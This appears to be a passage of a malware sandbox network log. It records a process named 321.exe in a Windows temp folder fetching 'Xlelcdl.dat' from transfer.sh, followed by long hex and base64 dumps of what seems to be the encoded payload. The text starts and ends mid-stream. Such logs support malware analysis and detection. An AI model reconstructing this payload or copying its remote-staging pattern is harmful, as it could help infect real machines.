2023-04-20 23:03:01 UTC	4414	IN	Data Raw: 71 4e 7a 42 67 49 6d 4d 53 77 57 42 67 41 45 59 6d 38 41 45 67 51 41 42 48 35 37 41 75 38 72 42 67 41 49 77 79 67 48 4b 31 67 73 42 41 41 45 66 6e 73 43 4a 67 73 74 47 41 49 52 41 41 45 79 41 41 41 41 5a 67 41 48 4d 42 4d 41 4b 76 55 72 4a 67 4d 72 42 67 41 49 78 6d 38 44 4a 67 6b 74 47 42 6f 43 4b 67 41 72 4a 67 4d 72 4a 67 4d 74 46 2f 4d 72 4a 67 4d 72 44 79 30 6c 42 41 41 45 67 33 73 6d 43 79 30 5a 46 51 49 41 41 41 41 41 41 41 41 41 4c 77 41 4b 4d 41 4d 71 42 41 41 45 67 6e 73 43 41 43 73 45 41 41 53 43 66 51 63 72 4a 69 59 45 4c 52 77 47 41 41 4e 4c 63 77 59 43 4a 67 59 41 41 66 56 76 41 42 49 57 43 67 41 41 56 6e 34 45 41 41 52 39 65 77 49 70 4c 51 51 41 42 49 4a 37 41 68 45 41 41 54 45 41 41 41 41 34 41 41 59 77 45 79 6f 45 41 41 53 42 65 77 49 41 Data Ascii: qNzBgImMSwWBgAEYm8AEgQABH57Au8rBgAIwygHK1gsBAAEfnsCJgstGAIRAAEyAAAAZgAHMBMAKvUrJgMrBgAIxm8DJgktGBoCKgArJgMrJgMtF/MrJgMrDy0lBAAEg3smCy0ZFQIAAAAAAAAALwAKMAMqBAAEgnsCACsEAASCfQcrJiYELRwGAANLcwYCJgYAAfVvABIWCgAAVn4EAAR9ewIpLQQABIJ7AhEAATEAAAA4AAYwEyoEAASBewIA
2023-04-20 23:03:01 UTC	4430	IN	Data Raw: 77 4d 43 4a 69 59 6c 4c 52 34 44 41 67 6f 41 41 45 6b 6f 41 67 41 41 41 41 41 41 41 41 41 2f 41 41 34 77 41 77 41 71 36 53 73 6d 34 53 73 6d 42 69 73 4b 41 41 44 64 4b 41 49 41 41 4f 43 4d 42 67 41 48 78 53 67 6d 46 53 30 5a 46 51 49 47 41 41 66 45 4b 43 59 64 4c 52 63 56 41 67 59 41 43 55 73 6f 56 4e 4a 6d 30 69 41 41 41 41 41 41 41 41 41 41 4d 77 41 4b 4d 41 4d 41 4b 75 77 72 4a 67 4d 72 42 67 41 48 7a 69 67 45 41 41 67 54 65 77 51 41 42 41 78 38 4a 68 49 74 48 52 55 43 41 41 41 41 41 41 41 41 41 42 73 41 43 6a 41 44 41 43 72 34 4b 79 59 44 4b 77 48 2b 46 69 59 47 4c 42 59 62 41 67 41 41 41 41 41 41 41 41 41 50 41 41 6f 77 41 77 41 71 37 43 73 6d 41 79 73 47 41 41 66 4d 4b 41 51 41 43 42 4e 37 42 41 41 45 44 48 77 6d 45 69 77 57 47 67 49 41 41 41 41 41 Data Ascii: wMCJiYlLR4DAgoAAEkoAgAAAAAAAAA/AA4wAwAq6Ssm4SsmBisKAADdKAIAAOCMBgAHxSgmFS0ZFQIGAAfEKCYdLRcVAgYACUsoVNJm0iAAAAAAAAAAMwAKMAMAKuwrJgMrBgAHzigEAAgTewQABAx8JhItHRUCAAAAAAAAABsACjADACr4KyYDKwH+FiYGLBYbAgAAAAAAAAAPAAowAwAq7CsmAysGAAfMKAQACBN7BAAEDHwmEiwWGgIAAAAA
2023-04-20 23:03:01 UTC	4446	IN	Data Raw: 64 77 72 43 79 41 72 43 68 59 47 45 31 73 61 42 51 55 54 42 42 4d 4a 34 41 67 6d 46 79 30 56 41 51 41 41 47 34 38 57 42 43 59 66 4c 52 6e 67 42 79 59 69 4c 52 6b 42 41 41 41 62 6a 77 4d 43 45 51 41 41 36 51 41 41 41 46 67 41 42 6a 41 54 41 41 41 41 41 41 67 41 2b 48 45 41 68 77 41 43 41 41 41 41 41 41 34 41 36 6c 59 41 6c 41 41 43 41 41 41 63 41 51 41 41 41 43 6f 46 42 41 41 44 73 48 31 59 61 67 55 45 41 41 4f 77 65 77 49 43 33 41 6f 41 41 48 34 6f 42 42 48 63 43 67 41 41 42 32 38 62 41 41 42 30 46 76 34 46 45 68 62 65 72 69 30 4b 41 41 4d 4f 4b 41 55 53 43 67 41 41 66 57 39 59 61 67 55 4b 41 41 42 38 62 79 55 48 43 67 6f 41 41 65 4d 6f 42 51 59 58 4b 77 59 41 42 31 45 6f 43 41 6b 45 41 79 49 78 46 67 67 4b 43 67 41 42 34 79 67 49 42 67 77 4b 41 41 43 42 Data Ascii: dwrCyArChYGE1saBQUTBBMJ4AgmFy0VAQAAG48WBCYfLRngByYiLRkBAAAbjwMCEQAA6QAAAFgABjATAAAAAAgA+HEAhwACAAAAAA4A6lYAlAACAAAcAQAAACoFBAADsH1YagUEAAOwewIC3AoAAH4oBBHcCgAAB28bAAB0Fv4FEhberi0KAAMOKAUSCgAAfW9YagUKAAB8byUHCgoAAeMoBQYXKwYAB1EoCAkEAyIxFggKCgAB4ygIBgwKAACB
2023-04-20 23:03:01 UTC	4462	IN	Data Raw: 4c 34 6f 46 67 49 4b 41 41 44 6e 4b 41 6f 41 41 4f 4e 7a 46 68 59 57 46 77 49 4b 41 41 44 34 62 78 6f 43 4b 76 41 72 43 67 41 41 35 79 67 48 4b 77 6f 41 41 4c 34 6f 46 67 49 6d 4a 67 73 74 47 51 6f 41 41 4f 4e 7a 46 68 63 57 46 67 49 4b 41 41 44 34 62 78 6b 43 4b 67 41 72 43 67 41 41 35 79 67 48 4b 79 59 6d 42 43 30 65 43 67 41 41 34 33 4d 57 46 68 63 57 41 67 6f 41 41 50 68 76 47 77 4c 6a 4b 77 6f 44 4b 77 41 41 41 47 6f 41 41 41 42 4d 41 41 41 41 4a 51 41 41 41 41 55 41 41 41 41 45 52 56 6b 58 42 69 59 62 4c 52 63 47 41 41 61 6b 4b 41 49 4b 41 41 4c 57 62 77 6f 41 41 4f 56 7a 4d 68 38 79 48 77 49 52 41 41 44 69 41 41 41 41 75 51 41 55 4d 42 4d 41 41 41 41 41 44 67 44 53 47 67 43 34 41 41 49 41 41 42 41 42 41 41 41 41 4b 74 77 4b 41 41 41 48 62 78 73 41 Data Ascii: L4oFgIKAADnKAoAAONzFhYWFwIKAAD4bxoCKvArCgAA5ygHKwoAAL4oFgImJgstGQoAAONzFhcWFgIKAAD4bxkCKgArCgAA5ygHKyYmBC0eCgAA43MWFhcWAgoAAPhvGwLjKwoDKwAAAGoAAABMAAAAJQAAAAUAAAAERVkXBiYbLRcGAAakKAIKAALWbwoAAOVzMh8yHwIRAADiAAAAuQAUMBMAAAAADgDSGgC4AAIAABABAAAAKtwKAAAHbxsA
2023-04-20 23:03:01 UTC	4478	IN	Data Raw: 41 6b 77 41 77 41 41 4b 76 49 72 4a 75 6f 72 4a 67 59 72 43 67 41 41 71 6d 38 55 4a 67 77 74 48 52 73 43 42 41 41 44 4e 58 73 6d 46 43 30 58 48 67 4c 30 4b 79 59 44 4b 79 51 73 42 41 41 44 4e 58 73 6d 43 69 30 63 46 67 49 41 41 41 41 41 41 41 41 41 4d 67 41 4b 4d 41 4d 41 41 41 41 41 44 51 42 61 52 67 41 55 41 41 49 41 41 42 41 42 41 41 41 71 42 67 41 47 57 53 67 43 33 41 6f 41 41 41 64 76 42 67 41 41 41 41 59 35 42 67 33 65 76 69 30 4b 41 41 41 49 62 77 59 41 4b 77 59 41 42 6c 67 6f 42 79 73 6d 4a 67 51 74 46 77 63 43 4a 67 6f 41 41 71 4a 76 42 77 59 41 42 6a 63 6f 41 75 30 72 43 77 4d 72 45 69 77 4b 41 41 4b 68 62 77 63 47 41 41 59 33 4b 41 49 6d 45 53 30 58 43 67 41 42 39 32 38 47 4f 69 73 41 4b 77 6f 44 4b 79 59 44 4c 52 34 4b 41 41 48 32 62 77 6f 41 Data Ascii: AkwAwAAKvIrJuorJgYrCgAAqm8UJgwtHRsCBAADNXsmFC0XHgL0KyYDKyQsBAADNXsmCi0cFgIAAAAAAAAAMgAKMAMAAAAADQBaRgAUAAIAABABAAAqBgAGWSgC3AoAAAdvBgAAAAY5Bg3evi0KAAAIbwYAKwYABlgoBysmJgQtFwcCJgoAAqJvBwYABjcoAu0rCwMrEiwKAAKhbwcGAAY3KAImES0XCgAB928GOisAKwoDKyYDLR4KAAH2bwoA
2023-04-20 23:03:01 UTC	4494	IN	Data Raw: 69 59 6d 45 79 30 56 46 41 49 47 41 41 63 55 62 77 49 41 41 53 52 30 42 41 41 43 75 48 73 43 4e 69 77 45 41 41 4b 34 65 77 49 41 41 41 41 41 41 41 41 41 50 77 41 4a 4d 41 4d 41 4b 75 45 72 42 41 41 43 75 6e 33 67 4b 77 51 41 41 72 6c 39 34 43 73 45 41 41 4b 34 66 52 55 72 42 41 41 43 75 33 31 71 46 67 49 6d 4a 68 6f 74 47 57 6f 57 41 69 59 6d 47 79 30 58 46 67 49 6d 4a 68 73 74 46 51 59 41 42 78 4e 7a 41 77 49 41 41 41 41 41 41 41 41 41 4f 77 41 4a 4d 41 4d 42 41 41 43 78 42 67 42 4c 53 77 41 41 41 41 41 41 41 42 41 42 41 41 41 71 41 41 41 41 41 4e 30 6d 41 41 41 41 42 74 30 6d 43 67 41 43 67 53 67 47 41 41 44 73 62 77 51 41 41 42 6c 2b 46 67 6f 41 41 63 42 2b 42 67 41 41 37 6d 38 45 41 41 41 5a 66 69 76 65 2b 43 73 4c 41 79 73 48 4c 41 63 6d 42 69 30 64 Data Ascii: iYmEy0VFAIGAAcUbwIAASR0BAACuHsCNiwEAAK4ewIAAAAAAAAAPwAJMAMAKuErBAACun3gKwQAArl94CsEAAK4fRUrBAACu31qFgImJhotGWoWAiYmGy0XFgImJhstFQYABxNzAwIAAAAAAAAAOwAJMAMBAACxBgBLSwAAAAAAABABAAAqAAAAAN0mAAAABt0mCgACgSgGAADsbwQAABl+FgoAAcB+BgAA7m8EAAAZfive+CsLAysHLAcmBi0d
2023-04-20 23:03:01 UTC	4510	IN	Data Raw: 41 45 77 4f 68 6f 4b 41 41 4a 53 4b 47 78 62 51 69 41 41 41 43 49 46 51 43 51 41 41 41 41 41 41 41 41 6a 43 67 41 42 74 53 67 6d 41 41 41 42 54 44 6f 59 43 67 41 42 74 69 67 6c 57 32 77 43 57 6d 77 44 51 42 6b 68 2b 31 52 45 4c 52 67 6a 45 51 41 41 6c 77 41 41 41 59 41 41 42 7a 41 54 4b 76 2f 2f 2f 78 55 34 44 66 2f 2f 2f 77 49 34 44 50 2f 2f 2f 73 73 34 43 2f 2f 2f 2f 71 38 34 43 68 67 72 42 67 41 45 76 6e 4d 47 45 51 55 52 42 42 45 49 45 51 63 52 43 42 4e 5a 43 56 68 61 42 6c 6b 2f 38 41 41 41 41 41 41 41 41 43 4d 48 57 44 2f 77 41 41 41 41 41 41 41 41 49 77 63 48 45 31 70 59 57 67 5a 59 50 2f 41 41 41 41 41 41 41 41 41 6a 42 31 6b 2f 38 41 41 41 41 41 41 41 41 43 4d 48 77 41 41 41 41 41 41 41 41 41 41 6a 57 41 6c 59 57 67 5a 5a 50 2f 41 41 41 41 41 41 Data Ascii: AEwOhoKAAJSKGxbQiAAACIFQCQAAAAAAAAjCgABtSgmAAABTDoYCgABtiglW2wCWmwDQBkh+1RELRgjEQAAlwAAAYAABzATKv///xU4Df///wI4DP///ss4C////q84ChgrBgAEvnMGEQURBBEIEQcRCBNZCVhaBlk/8AAAAAAAACMHWD/wAAAAAAAAIwcHE1pYWgZYP/AAAAAAAAAjB1k/8AAAAAAAACMHwAAAAAAAAAAjWAlYWgZZP/AAAAAA
2023-04-20 23:03:01 UTC	4526	IN	Data Raw: 41 48 7a 66 56 68 5a 42 77 55 45 41 41 48 7a 65 77 49 43 43 67 41 41 37 53 68 5a 42 77 56 59 42 77 51 44 42 41 41 42 38 33 73 43 42 41 41 42 38 48 73 43 4b 69 38 46 42 77 51 41 41 66 4e 39 58 57 6d 4f 42 41 41 42 38 48 73 43 42 41 41 42 38 33 73 43 41 67 51 41 41 66 4e 39 57 41 67 45 41 41 48 7a 65 77 49 43 43 31 67 49 42 77 6f 41 41 4f 30 6f 43 41 51 44 42 41 41 42 38 33 73 43 42 41 41 42 38 48 73 43 44 41 6f 41 41 4f 77 6f 42 56 6b 45 41 41 48 7a 65 77 4a 70 6a 67 51 41 41 66 42 37 41 67 73 57 41 43 73 41 41 77 76 2b 42 69 73 6d 41 79 30 56 42 41 41 42 39 48 73 43 45 6a 45 45 41 41 48 30 65 77 49 46 41 43 73 4b 41 41 42 36 4b 50 59 72 43 67 6f 72 4a 67 59 74 48 41 59 6d 43 43 30 62 42 41 41 42 38 58 73 43 45 51 41 41 67 67 41 41 41 4e 49 41 42 7a 41 62 Data Ascii: AHzfVhZBwUEAAHzewICCgAA7ShZBwVYBwQDBAAB83sCBAAB8HsCKi8FBwQAAfN9XWmOBAAB8HsCBAAB83sCAgQAAfN9WAgEAAHzewICC1gIBwoAAO0oCAQDBAAB83sCBAAB8HsCDAoAAOwoBVkEAAHzewJpjgQAAfB7AgsWACsAAwv+BismAy0VBAAB9HsCEjEEAAH0ewIFACsKAAB6KPYrCgorJgYtHAYmCC0bBAAB8XsCEQAAggAAANIABzAb
2023-04-20 23:03:01 UTC	4542	IN	Data Raw: 77 49 45 41 41 47 44 65 77 49 73 4c 41 51 41 41 59 56 37 41 67 41 41 41 41 41 41 41 41 41 31 41 41 6b 77 41 77 41 41 4b 67 41 72 43 67 41 41 56 53 6a 69 4b 77 51 41 41 59 56 39 44 69 73 6d 43 69 30 65 42 67 41 4d 62 6d 38 45 41 41 47 46 65 77 49 45 41 41 47 44 65 77 49 6d 4a 68 6b 74 46 77 59 41 43 37 39 7a 41 77 49 41 41 41 41 41 41 41 41 41 4d 67 41 4a 4d 41 4d 41 4b 67 41 72 43 67 41 41 56 53 67 48 4b 79 59 44 4c 42 59 47 41 41 78 74 62 77 51 44 42 41 41 42 67 33 73 43 41 41 41 41 41 41 41 41 41 42 73 41 43 54 41 44 4b 76 59 72 43 67 41 41 56 53 67 48 4b 77 59 6d 42 43 30 64 42 67 41 4d 62 47 38 41 45 67 51 41 41 59 4e 37 41 68 45 41 41 41 38 41 41 41 41 63 41 41 51 77 45 77 41 71 37 69 73 6d 41 79 73 42 2f 68 59 47 41 41 6d 56 62 77 51 41 41 59 52 37 Data Ascii: wIEAAGDewIsLAQAAYV7AgAAAAAAAAA1AAkwAwAAKgArCgAAVSjiKwQAAYV9DismCi0eBgAMbm8EAAGFewIEAAGDewImJhktFwYAC79zAwIAAAAAAAAAMgAJMAMAKgArCgAAVSgHKyYDLBYGAAxtbwQDBAABg3sCAAAAAAAAABsACTADKvYrCgAAVSgHKwYmBC0dBgAMbG8AEgQAAYN7AhEAAA8AAAAcAAQwEwAq7ismAysB/hYGAAmVbwQAAYR7
2023-04-20 23:03:01 UTC	4558	IN	Data Raw: 41 41 41 41 41 41 41 41 42 59 41 43 6a 41 44 4b 75 41 72 42 41 41 42 4e 33 33 65 4b 77 51 41 41 54 5a 39 33 53 73 45 41 41 45 31 66 52 55 72 42 41 41 42 4f 48 33 53 42 51 34 43 4a 69 59 62 4c 52 66 53 42 41 34 43 4a 69 59 64 4c 42 62 53 42 51 49 6d 4a 68 34 74 48 4e 49 45 41 67 59 41 42 74 38 6f 41 78 70 59 48 77 49 41 41 41 41 41 41 41 41 41 52 41 41 4a 4d 41 4d 41 41 41 41 71 33 53 73 45 41 41 45 33 66 64 67 72 42 41 41 42 4e 6e 33 54 4b 77 51 41 41 54 56 39 46 53 73 45 41 41 45 34 66 51 6f 41 41 54 68 76 41 77 49 6d 4a 68 34 74 47 51 6f 41 41 54 68 76 41 77 49 6d 4a 69 4d 74 47 51 6f 41 41 54 68 76 41 77 49 6d 4a 69 67 74 48 41 6f 41 41 54 68 76 41 77 4a 36 43 67 41 42 4f 58 4d 4b 41 41 43 63 4b 41 45 41 41 4a 2b 4d 42 41 59 41 43 55 73 6f 56 4e 49 53 Data Ascii: AAAAAAAABYACjADKuArBAABN33eKwQAATZ93SsEAAE1fRUrBAABOH3SBQ4CJiYbLRfSBA4CJiYdLBbSBQImJh4tHNIEAgYABt8oAxpYHwIAAAAAAAAARAAJMAMAAAAq3SsEAAE3fdgrBAABNn3TKwQAATV9FSsEAAE4fQoAAThvAwImJh4tGQoAAThvAwImJiMtGQoAAThvAwImJigtHAoAAThvAwJ6CgABOXMKAACcKAEAAJ+MBAYACUsoVNIS
2023-04-20 23:03:01 UTC	4574	IN	Data Raw: 48 73 6d 43 43 30 56 48 67 49 41 41 41 41 41 41 41 41 41 45 51 41 4b 4d 41 4d 41 4b 67 41 72 42 67 41 42 74 69 67 48 4b 79 59 6d 42 43 30 62 46 77 49 4b 41 41 42 4a 4b 41 49 41 41 41 41 41 41 41 41 41 46 77 41 4a 4d 41 4d 41 4b 67 6f 41 41 4b 70 76 43 67 41 42 4e 6e 34 43 42 76 67 72 43 67 4d 72 45 53 77 47 4a 67 59 74 48 51 51 41 41 4f 4e 37 41 68 45 41 41 44 38 41 41 41 41 66 41 41 55 77 45 77 41 71 35 69 73 4d 32 53 73 4c 42 69 76 5a 4d 77 63 47 43 69 73 41 41 41 51 6f 42 77 67 45 41 41 44 6a 66 41 49 6d 47 43 30 62 41 51 41 41 65 48 51 4b 41 41 43 47 4b 41 4d 48 4a 69 55 74 47 51 59 41 4b 77 6f 44 4b 79 59 44 4c 52 6b 45 41 41 44 6a 65 77 49 52 41 41 41 54 41 41 41 41 50 77 41 45 4d 42 4d 41 4b 75 59 72 44 4e 6b 72 43 77 59 72 32 54 4d 48 42 67 6f 72 Data Ascii: HsmCC0VHgIAAAAAAAAAEQAKMAMAKgArBgABtigHKyYmBC0bFwIKAABJKAIAAAAAAAAAFwAJMAMAKgoAAKpvCgABNn4CBvgrCgMrESwGJgYtHQQAAON7AhEAAD8AAAAfAAUwEwAq5isM2SsLBivZMwcGCisAAAQoBwgEAADjfAImGC0bAQAAeHQKAACGKAMHJiUtGQYAKwoDKyYDLRkEAADjewIRAAATAAAAPwAEMBMAKuYrDNkrCwYr2TMHBgor
2023-04-20 23:03:01 UTC	4590	IN	Data Raw: 6c 67 47 41 41 45 70 4b 46 6b 47 42 56 67 47 42 41 4d 43 42 69 59 47 41 41 45 6d 4b 41 49 6d 43 67 41 41 71 79 67 48 42 67 41 51 61 6d 38 57 42 78 59 45 41 41 43 75 65 77 49 47 41 41 45 65 4b 41 49 47 4c 51 51 41 41 4c 4a 37 41 6a 34 72 43 6c 67 47 41 41 45 70 4b 46 6b 47 42 56 67 47 42 41 4d 43 42 67 59 41 41 53 55 6f 41 68 67 74 42 77 73 47 41 41 45 6f 4b 41 4a 63 4b 77 70 59 42 67 41 42 4b 53 68 5a 42 67 55 45 41 77 49 47 38 69 73 4b 41 79 74 78 4d 52 59 45 41 41 43 74 65 77 49 6d 44 43 30 65 46 67 41 72 42 67 41 42 48 69 6a 79 4b 77 51 41 41 4b 35 39 44 69 73 6d 43 69 77 57 41 69 59 6d 43 53 30 58 42 67 41 42 48 32 38 43 41 69 45 74 42 41 41 41 72 6e 73 43 45 51 41 41 4a 77 41 41 41 4b 34 41 45 7a 41 54 41 41 41 41 4b 76 59 72 4a 67 4d 72 42 41 41 41 Data Ascii: lgGAAEpKFkGBVgGBAMCBiYGAAEmKAImCgAAqygHBgAQam8WBxYEAACuewIGAAEeKAIGLQQAALJ7Aj4rClgGAAEpKFkGBVgGBAMCBgYAASUoAhgtBwsGAAEoKAJcKwpYBgABKShZBgUEAwIG8isKAytxMRYEAACtewImDC0eFgArBgABHijyKwQAAK59DismCiwWAiYmCS0XBgABH28CAiEtBAAArnsCEQAAJwAAAK4AEzATAAAAKvYrJgMrBAAA
2023-04-20 23:03:01 UTC	4606	IN	Data Raw: 41 43 50 4b 43 59 58 4c 42 59 64 41 79 59 61 4c 52 67 64 41 67 41 41 41 41 41 41 41 41 42 47 41 41 6f 77 41 79 6f 4b 41 41 43 4d 62 77 6f 41 41 49 74 7a 42 67 49 4b 41 41 43 44 65 77 4c 73 4b 77 6f 41 41 49 34 6f 37 43 73 4b 43 69 73 65 4c 41 6f 41 41 49 4e 37 41 69 59 6d 44 79 30 61 42 67 49 6d 45 69 30 65 4b 77 41 41 41 69 67 44 45 51 41 41 44 41 41 41 41 44 67 41 42 6a 41 54 41 41 41 71 43 67 41 41 6a 47 38 4b 41 41 43 4c 63 77 6f 41 41 49 70 76 41 79 55 4b 41 41 43 43 63 77 49 4b 41 41 43 44 65 77 4c 76 4b 77 6f 41 41 49 6f 6f 42 79 73 6d 4c 41 6f 41 41 49 4e 37 41 69 59 6d 44 43 30 58 41 77 49 41 41 41 41 41 41 41 41 41 4e 67 41 4a 4d 41 4d 41 41 41 41 71 41 43 73 4b 41 41 43 4a 66 51 63 72 4a 69 59 45 4c 52 67 58 41 67 41 72 43 67 41 41 68 33 30 48 Data Ascii: ACPKCYXLBYdAyYaLRgdAgAAAAAAAABGAAowAyoKAACMbwoAAItzBgIKAACDewLsKwoAAI4o7CsKCiseLAoAAIN7AiYmDy0aBgImEi0eKwAAAigDEQAADAAAADgABjATAAAqCgAAjG8KAACLcwoAAIpvAyUKAACCcwIKAACDewLvKwoAAIooBysmLAoAAIN7AiYmDC0XAwIAAAAAAAAANgAJMAMAAAAqACsKAACJfQcrJiYELRgXAgArCgAAh30H

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49684	144.76.136.153	443	C:\Windows\Temp\321.exe

Timestamp	kBytes transferred	Direction	Data
2023-04-20 23:03:00 UTC	0	OUT	GET /get/fmUJTQ/Xlelcdl.dat HTTP/1.1 Host: transfer.sh Connection: Keep-Alive
2023-04-20 23:03:01 UTC	4612	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 20 Apr 2023 23:03:01 GMT Content-Length: 2384556 Connection: close Cache-Control: no-store Content-Disposition: attachment; filename="Xlelcdl.dat" Retry-After: Fri, 21 Apr 2023 01:03:06 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,84.17.52.2,84.17.52.2 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 8 X-Ratelimit-Reset: 1682031786 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders Strict-Transport-Security: max-age=63072000
2023-04-20 23:03:01 UTC	4612	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2023-04-20 23:03:01 UTC	4628	IN	Data Raw: 53 4d 49 51 53 54 49 6b 53 42 41 63 4d 41 49 49 53 41 51 63 46 41 49 49 53 44 67 67 49 43 41 47 43 45 51 59 48 44 45 79 4a 45 67 45 48 42 51 34 46 48 51 45 67 42 63 6d 44 45 67 41 41 42 61 47 42 45 62 32 42 45 71 47 42 45 5a 47 42 45 72 57 42 45 6d 6d 42 45 62 57 42 45 67 49 49 42 78 69 39 67 52 4b 6c 67 52 46 68 67 52 4a 39 67 52 49 4f 41 51 55 67 45 4b 47 42 45 61 57 42 45 51 45 41 43 4d 57 42 45 51 45 42 49 41 62 42 67 52 45 42 41 53 41 47 75 59 45 52 41 51 45 67 42 71 47 42 45 61 47 42 45 61 47 42 45 62 32 42 45 71 47 42 45 5a 47 42 45 72 57 42 45 67 4a 64 67 52 4b 31 67 52 4a 70 67 52 45 49 41 67 30 48 49 36 47 42 45 61 47 42 45 66 79 46 45 70 79 4c 45 67 4b 4a 67 42 45 56 74 59 45 53 2f 49 55 53 74 59 45 53 74 59 45 53 74 59 45 53 58 59 45 53 6f 59 Data Ascii: SMIQSTIkSBAcMAIISAQcFAIISDggICAGCEQYHDEyJEgEHBQ4FHQEgBcmDEgAABaGBEb2BEqGBEZGBErWBEmmBEbWBEgIIBxi9gRKlgRFhgRJ9gRIOAQUgEKGBEaWBEQEACMWBEQEBIAbBgREBASAGuYERAQEgBqGBEaGBEaGBEb2BEqGBEZGBErWBEgJdgRK1gRJpgREIAg0HI6GBEaGBEfyFEpyLEgKJgBEVtYES/IUStYEStYEStYESXYESoY
2023-04-20 23:03:01 UTC	4644	IN	Data Raw: 67 42 6c 32 45 45 51 45 42 49 41 5a 64 68 42 45 41 49 41 57 56 68 42 45 42 41 53 41 47 58 59 51 52 42 67 53 56 68 42 45 47 42 45 51 52 41 51 45 67 42 55 51 52 41 43 41 45 41 68 30 41 49 41 52 45 45 51 59 44 41 68 30 47 41 77 30 64 42 67 50 59 69 68 49 42 6e 59 41 53 46 51 41 67 43 74 69 4b 45 67 59 45 32 49 6f 53 41 5a 6d 41 45 68 55 41 49 41 6f 41 68 52 49 42 6d 59 41 53 46 51 41 67 43 67 6a 59 69 68 49 42 49 41 59 38 45 51 41 67 42 41 67 49 41 51 41 45 4a 49 55 52 43 41 67 59 41 51 51 67 43 53 53 46 45 51 67 59 41 51 4d 67 43 50 43 49 45 51 59 45 44 41 47 74 67 42 49 56 42 67 65 52 67 52 49 47 42 42 79 46 45 67 47 64 67 42 49 56 41 43 41 4b 48 49 55 53 41 43 41 46 63 49 51 53 42 67 51 63 68 52 49 47 42 41 47 43 45 52 79 46 45 67 47 5a 67 42 49 56 41 51 Data Ascii: gBl2EEQEBIAZdhBEAIAWVhBEBASAGXYQRBgSVhBEGBEQRAQEgBUQRACAEAh0AIAREEQYDAh0GAw0dBgPYihIBnYASFQAgCtiKEgYE2IoSAZmAEhUAIAoAhRIBmYASFQAgCgjYihIBIAY8EQAgBAgIAQAEJIURCAgYAQQgCSSFEQgYAQMgCPCIEQYEDAGtgBIVBgeRgRIGBByFEgGdgBIVACAKHIUSACAFcIQSBgQchRIGBAGCERyFEgGZgBIVAQ
2023-04-20 23:03:01 UTC	4660	IN	Data Raw: 46 6f 59 45 52 41 51 45 67 42 71 47 42 45 51 41 67 42 65 47 42 45 67 45 42 49 41 59 4f 41 51 45 67 42 46 32 42 45 67 59 45 67 59 45 52 42 67 52 70 67 52 45 47 42 4f 47 42 45 67 59 45 44 67 34 42 41 41 51 4d 79 49 4d 52 41 53 41 47 41 42 4d 64 41 43 41 46 41 42 4d 64 67 68 49 42 41 69 41 49 47 59 49 53 41 42 4d 42 49 41 63 41 45 77 47 74 67 42 49 56 42 67 67 59 41 51 45 67 42 43 30 42 41 59 49 52 45 41 45 42 49 41 64 49 67 68 45 51 41 51 45 67 42 35 79 44 45 67 45 42 49 41 59 59 41 59 49 52 45 41 67 42 41 79 41 4a 43 42 41 42 41 53 41 46 48 41 47 43 45 51 45 43 49 41 63 43 55 43 6f 44 43 41 55 64 41 59 49 52 41 51 4d 67 43 51 34 42 67 68 45 42 41 69 41 48 41 59 49 52 41 59 49 52 41 51 49 67 43 51 30 42 67 68 45 42 41 69 41 48 43 67 47 43 45 51 45 43 49 41 Data Ascii: FoYERAQEgBqGBEQAgBeGBEgEBIAYOAQEgBF2BEgYEgYERBgRpgREGBOGBEgYEDg4BAAQMyIMRASAGABMdACAFABMdghIBAiAIGYISABMBIAcAEwGtgBIVBggYAQEgBC0BAYIREAEBIAdIghEQAQEgB5yDEgEBIAYYAYIREAgBAyAJCBABASAFHAGCEQECIAcCUCoDCAUdAYIRAQMgCQ4BghEBAiAHAYIRAYIRAQIgCQ0BghEBAiAHCgGCEQECIA
2023-04-20 23:03:01 UTC	4676	IN	Data Raw: 45 67 4f 4b 41 67 4f 4b 44 67 4f 49 4f 41 48 4e 31 59 32 39 47 64 48 4e 76 54 48 68 76 51 6e 52 34 5a 56 52 75 54 77 42 79 5a 58 52 75 52 57 56 7a 64 57 39 4e 62 6b 38 41 41 6f 61 41 34 6f 47 41 34 6f 53 41 34 6f 61 41 34 6f 4b 41 34 67 34 41 41 6f 61 41 34 6f 47 41 34 6f 53 41 34 6f 53 41 34 6f 4b 41 34 67 34 41 65 58 52 70 64 6d 6c 30 61 58 4e 75 5a 56 4e 73 5a 57 56 6f 56 32 68 6a 64 47 6c 51 41 47 78 6c 5a 57 68 58 61 47 4e 30 61 56 41 41 5a 58 4a 31 63 33 4e 6c 63 6c 42 73 5a 57 35 75 59 57 68 44 41 47 56 79 64 58 4e 7a 5a 58 4a 51 65 57 78 76 55 41 42 79 5a 57 4a 74 64 55 35 35 5a 55 74 75 54 32 56 30 62 30 34 41 65 58 52 70 59 32 39 73 5a 56 5a 75 54 32 56 30 62 30 34 41 63 6d 56 73 